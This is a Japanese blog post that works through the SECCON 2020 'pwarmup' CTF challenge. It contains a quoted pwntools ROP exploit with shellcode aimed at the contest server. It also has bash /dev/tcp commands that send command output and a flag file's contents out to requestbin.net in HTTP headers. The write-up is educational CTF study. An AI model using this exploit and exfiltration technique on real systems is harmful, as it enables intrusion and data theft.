SECCON 2020 の pwn 問題を復習する①

Sat Oct 17 2020

10/10-11 で開催された SECCON 2020 の pwn 問を復習します。

pwarmup

問題

main.c
#include <unistd.h>
#include <stdio.h>

int main(void) {
  char buf[0x20];
  puts("Welcome to Pwn Warmup!");
  scanf("%s", buf);
  fclose(stdout);
  fclose(stderr);
}

__attribute__((constructor))
void setup(void) {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stderr, NULL, _IONBF, 0);
  alarm(60);
}

コンテスト中に試したこと

まず最初に alarm 機能はデバッグの邪魔なので、dhex を使って NOP で書き換えました。 pwntools で実行ファイルを確認すると、

    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

という感じでなんでもできそう。 なので、scanf で /bin/sh を呼び出すコードを rsp 上に書き込んで call rsp の命令箇所に飛べばいいと考えた。 つまり scanf で書き込んだあとの rbp を

$rbp:    AAAAAAAA             /* leave で $rbp に入る値、なんでもいい (ちなみに leave で $rsp に $rbp+8 が入る) */
$rbp+8:  address to call rsp  /* return で飛ぶアドレスを指定、今回は call rsp のアドレス*/
$rbp+16: shellcode            /* return の後で $rsp が指すアドレス、ここに shellcode をおく */

としてあげればいい。 しかし、rp++ を使ってみると、

rp-lin-x64 -f ./chall --rop=1 --unique | grep "rsp"
0x00400562: add rsp, 0x08 ; ret  ;  (2 found)
0x004007ca: call qword [rsp+rbx*8] ;  (1 found)
0x004007c5: test byte [rcx+rcx*4-0x11], 0x00000041 ; call qword [rsp+rbx*8] ;  (1 found)

となっており、そもそも call rsp の命令が存在せず (call [rsp] はあったが)、手詰まりとなってしまった…

復習

他の方々の writeup を眺めた。

前者のほうが汎用性が高そうなので、そっちを重点的に見た。 以下のコードは https://qiita.com/kusano_k/items/0ec2a09483eaa7b900d1#pwarmup-warmup の引用。

attack.py
from pwn import *

s = remote("pwn-neko.chal.seccon.jp", 9001)
elf = ELF("chall")
context.binary = elf

rop = ROP(elf)
# scanf("%s", 0x600000)
rop.call(0x4005c0, [next(elf.search(b"%s")), 0x600000])
rop.call(0x600000)
s.sendlineafter(
  "Welcome to Pwn Warmup!\n",
  b"a"*0x28+rop.chain())

# http://shell-storm.org/shellcode/files/shellcode-806.php
s.sendline(
  "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53"
  "\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05")

s.interactive()

pwntools の ROP を使うとこんな簡潔に書けるのか… 0x4005c0 は scanf のアドレスで、 main 関数内の call sym.imp.__isoc99_scanf のアドレスではなく、 sym.imp.__isoc99_scanf のアドレス。

一応 rop.chain() の内容を gdb を使って確認すると、

gdb-peda$ x/16x $rbp
0x7fffffffe2a0:	0x41414141	0x41414141	0x004007e3	0x00000000
0x7fffffffe2b0:	0x0040081b	0x00000000	0x004007e1	0x00000000
0x7fffffffe2c0:	0x00600000	0x00000000	0x61616169	0x6161616a
0x7fffffffe2d0:	0x004005c0	0x00000000	0x00600000	0x00000000

となっていた。やっていることは、

  • 0x4007e3 (pop rdi) に飛び、 0x40081b (%s) を rdi に代入
  • 0x4007e1 (pop rsi) に飛び、 0x600000 を rsi に代入
  • 0x4007e2 (pop r15) に rip が移り、 0x6161... のダミーな変数を r15 に代入
  • 0x4005c0 に飛び scanf、そこで shellcode を 0x600000 に格納
  • ret で 0x600000 へ、 shellcode の実行

という流れである。 ROP 便利だ… (よく忘れるのでメモ、leave は mov rsp, rbp pop rbp の組み合わせ、 ret は pop したアドレスに JMP https://vanya.jp.net/os/x86call/)

これでシェルを奪うことができる。 しかし、ここからが難しいところらしく (自分はここにすらたどり着けなかったが)、 stdout が閉じられているので ls などを叩いても結果が返ってこない。

http://yuta1024.hateblo.jp/entry/2020/10/11/184928 によると、 bash には /dev/tcp/${host}/${port} に書き込むことで nc と同等のことができる機能があるらしい (https://qiita.com/kusano_k/items/0ec2a09483eaa7b900d1#pwarmup-warmup によると、 nc が入っていないっぽくて ls -al | nc ${host} ${port} とかはできないらしい)。 requestbin.net という http request を記録できる便利なツールがあるらしいのでそれを使ってみる。 使い方は https://www.softantenna.com/wp/webservice/request-bin/ を参考にしました。

リクエストに使うコマンドは http://yuta1024.hateblo.jp/entry/2020/10/11/184928 を参考にして↓のようにしたら、うまく動きました。

bash
exec 3<> /dev/tcp/requestbin.net/80
echo -e "GET /r/TOKEN_NAME HTTP/1.1\nHost: requestbin.net\nX-CTF: $(ls|base64)\nConnection: close\n" >&3
cat <&3

これを奪ったシェルで入力し、 http://requestbin.net/r/TOKEN_NAME?inspect をみると、 X-CTF に ls|base64 の結果が出力されている: Y2hhbGwKZmxhZy1lNjk1MWRmMDQwMGFkZDZhNmI1YmUxMWYyNWI4MGNlYS50eHQKcmVkaXIuc2gK

echo "Y2hhbGwKZmxhZy1lNjk1MWRmMDQwMGFkZDZhNmI1YmUxMWYyNWI4MGNlYS50eHQKcmVkaXIuc2gK" | base64 -d
chall
flag-e6951df0400add6a6b5be11f25b80cea.txt
redir.sh

flag-*.txt が該当するファイルと思われるので、 cat で覗く。

bash
exec 3<> /dev/tcp/requestbin.net/80
echo -e "GET /r/TOKEN_NAME HTTP/1.1\r\nHost: requestbin.net\r\nX-CTF: $(cat flag-e6951df0400add6a6b5be11f25b80cea.txt)\r\nConnection: close\r\n\r\n" >&3
cat <&3

すると、フラグが見れた。

SECCON{1t's_g3tt1ng_c0ld_1n_j4p4n_d0n't_f0rget_t0_w4rm-up}

学んだこと

  • pwntools の ROP
  • /dev/tcp
  • ファイルディスクリプタ (/dev/fd/*)
  • requestbin.net

追記

https://ptr-yudai.hatenablog.com/entry/2020/10/11/213127#pwn-123pts-pwarmup-63-solves の writeup (作者想定解?) を見つけました。 /dev/tcp/ など使わなくても、 ls>&0 のように標準入力に出力するようにする (?) と実行結果が表示されました。

参考

https://qiita.com/kusano_k/items/0ec2a09483eaa7b900d1 http://yuta1024.hateblo.jp/entry/2020/10/11/184928 https://ptr-yudai.hatenablog.com/entry/2020/10/11/213127#pwn-123pts-pwarmup-63-solves https://vanya.jp.net/os/x86call/